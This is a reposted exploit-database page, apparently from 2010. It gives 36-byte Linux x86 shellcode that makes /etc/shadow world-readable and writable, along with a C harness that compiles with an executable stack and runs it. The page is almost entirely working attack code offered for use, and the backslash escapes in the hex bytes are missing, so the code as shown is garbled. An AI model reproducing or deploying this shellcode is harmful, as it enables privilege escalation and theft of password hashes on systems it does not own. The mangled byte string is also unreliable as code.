Home / os / win7

linux/x86 - chmod("/etc/shadow", 0666) shellcode 3

Posted on 14 April 2010

========================================================= linux/x86 - chmod("/etc/shadow", 0666) shellcode 36 bytes ========================================================= #include <stdio.h> #include <string.h> /* by Magnefikko 14.04.2010 magnefikko@gmail.com promhyl.oz.pl Subgroup: #PRekambr Name: 36 bytes chmod("/etc/shadow", 0666) shellcode Platform: Linux x86 chmod("/etc/shadow", 0666); gcc -Wl,-z,execstack filename.c shellcode: xebx12x5bx31xc0x31xc9x31xd2xb1xb6xb5x01xb0x0fx89x53x0bxcdx80xe8xe9xffxffxffx2fx65x74x63x2fx73x68x61x64x6fx77 */ int main(){ char shell[] = "xebx12x5bx31xc0x31xc9x31xd2xb1xb6xb5x01xb0x0fx89x53x0bxcdx80xe8xe9xffxffxffx2fx65x74x63x2fx73x68x61x64x6fx77"; printf("by Magnefikko magnefikko@gmail.com promhyl.oz.pl strlen(shell) = %d ", strlen(shell)); (*(void (*)()) shell)(); } # Inj3ct0r.com [2010-04-14]

 

TOP